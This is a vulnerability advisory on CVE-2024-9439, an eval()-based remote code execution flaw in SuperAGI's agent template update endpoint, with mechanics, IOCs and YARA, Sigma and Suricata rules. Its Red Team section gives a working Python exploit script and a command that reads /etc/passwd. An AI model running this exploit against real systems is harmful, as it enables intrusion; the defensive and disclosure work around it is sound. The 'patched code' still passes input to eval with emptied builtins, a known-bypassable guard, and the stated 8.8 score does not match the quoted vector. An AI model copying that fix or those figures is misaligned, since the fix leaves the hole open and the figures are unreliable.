CVE-2024-9439

Executive Summary

CVE-2024-9439 is a critical Remote Code Execution (RCE) vulnerability in SuperAGI, an open-source AI agent framework. The flaw resides in the agent template update API endpoint, where attacker-controlled parameters are passed unsanitized to Python’s eval() function. This allows unauthenticated remote attackers to execute arbitrary system commands, leading to full system compromise. With a CVSS score of 8.8, the vulnerability is highly exploitable and requires immediate attention. No official patch has been released, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

SuperAGI is distributed via PyPI and GitHub. Users who installed SuperAGI via pip install superagi are affected. The vulnerability exists in the core application code, not in a third-party dependency, but the lack of a patch means the entire supply chain is at risk. Organizations using SuperAGI in production should treat it as compromised until a fix is applied.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows unauthenticated RCE with no user interaction, making it trivial to exploit in exposed instances.

Deep Dive & Mechanics

The vulnerability is a classic case of unsafe use of Python’s eval() function. The agent template update API endpoint accepts user-supplied JSON data, including fields like template_name, template_description, and template_code. The template_code field is passed directly to eval() without any sanitization, allowing an attacker to inject arbitrary Python code.

Root Cause: The developer intended to allow dynamic code execution for agent templates but failed to restrict the input. The eval() function executes any Python expression, and when combined with __import__('os').system(), it becomes a full RCE vector.

Attack Flow:

1. Attacker identifies a SuperAGI instance (e.g., via Shodan or direct scanning).
2. Sends a POST request to /api/agent/template/update with a crafted JSON payload.
3. The template_code field contains malicious Python code, e.g., __import__('os').system('id').
4. The server executes the code, returning the output or performing arbitrary actions.

Vulnerable vs. Patched Code

Vulnerable Code (SuperAGI <= latest):

# In agent_template.py
def update_template(request):
    data = request.json
    template_code = data.get('template_code')
    # No sanitization
    result = eval(template_code)
    return {'status': 'success', 'result': result}

Patched Code (Hypothetical):

# In agent_template.py
import ast
def update_template(request):
    data = request.json
    template_code = data.get('template_code')
    # Use AST to validate code
    try:
        ast.parse(template_code, mode='eval')
    except SyntaxError:
        return {'status': 'error', 'message': 'Invalid code'}
    # Restrict allowed functions
    allowed_globals = {'__builtins__': {}}
    result = eval(template_code, allowed_globals)
    return {'status': 'success', 'result': result}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x
• requests library
• Target SuperAGI instance (e.g., http://target:8080)

Exploit Script:

import requests
import sys

target = sys.argv[1]
command = sys.argv[2] if len(sys.argv) > 2 else 'id'

payload = {
    "template_name": "exploit",
    "template_description": "test",
    "template_code": f"__import__('os').system('{command}')"
}

url = f"{target}/api/agent/template/update"
response = requests.post(url, json=payload)
print(response.text)

Usage:

python exploit.py http://target:8080 "cat /etc/passwd"

Expected Output: The command output will be returned in the response.

Blue Team

Detection Steps:

1. Monitor API logs for POST requests to /api/agent/template/update with suspicious JSON payloads.
2. Look for eval, __import__, os.system, subprocess in request bodies.
3. Use WAF rules to block requests containing __import__ or eval in the template_code field.

Honeypot Setup:

• Deploy a fake SuperAGI instance that logs all requests and alerts on eval usage.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /api/agent/template/update with JSON containing template_code field.
• Outbound connections to attacker-controlled IPs from the SuperAGI server.
• Unusual system commands executed (e.g., id, whoami, curl).

File IOCs:

• Modified agent template files in /app/superagi/templates/.
• New files in /tmp/ or /var/tmp/ created by the attacker.

Process IOCs:

• Python processes spawned with eval in the command line.
• Shell processes (e.g., /bin/sh, /bin/bash) spawned by the SuperAGI process.

Detection Engineering

YARA Rule

rule CVE_2024_9439_SuperAGI_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-9439 in SuperAGI"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-9439"
    strings:
        $eval = "eval" nocase
        $import = "__import__" nocase
        $os_system = "os.system" nocase
        $subprocess = "subprocess" nocase
    condition:
        any of ($eval, $import, $os_system, $subprocess) and
        filesize < 10KB
}

Sigma Rule

title: SuperAGI RCE via Agent Template Update
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /api/agent/template/update with malicious eval payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/agent/template/update'
        cs-body|contains:
            - 'eval'
            - '__import__'
            - 'os.system'
            - 'subprocess'
    condition: selection
falsepositives:
    - Legitimate use of eval in template code (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9439 SuperAGI RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/agent/template/update"; http_uri; content:"template_code"; http_client_body; content:"eval"; http_client_body; content:"__import__"; http_client_body; content:"os.system"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate SuperAGI instances from the internet immediately.
2. Disable the /api/agent/template/update endpoint by removing or commenting out the route in the application code.
3. Apply a WAF rule to block requests containing eval, __import__, or os.system in the request body.

Long-Term Fix:

• Replace eval() with a safe alternative like ast.literal_eval() or a sandboxed execution environment.
• Implement input validation and sanitization for all user-supplied code.
• Restrict API access to authenticated users only.

Patch Status: No official patch available. Monitor the SuperAGI GitHub repository for updates.

Valters IT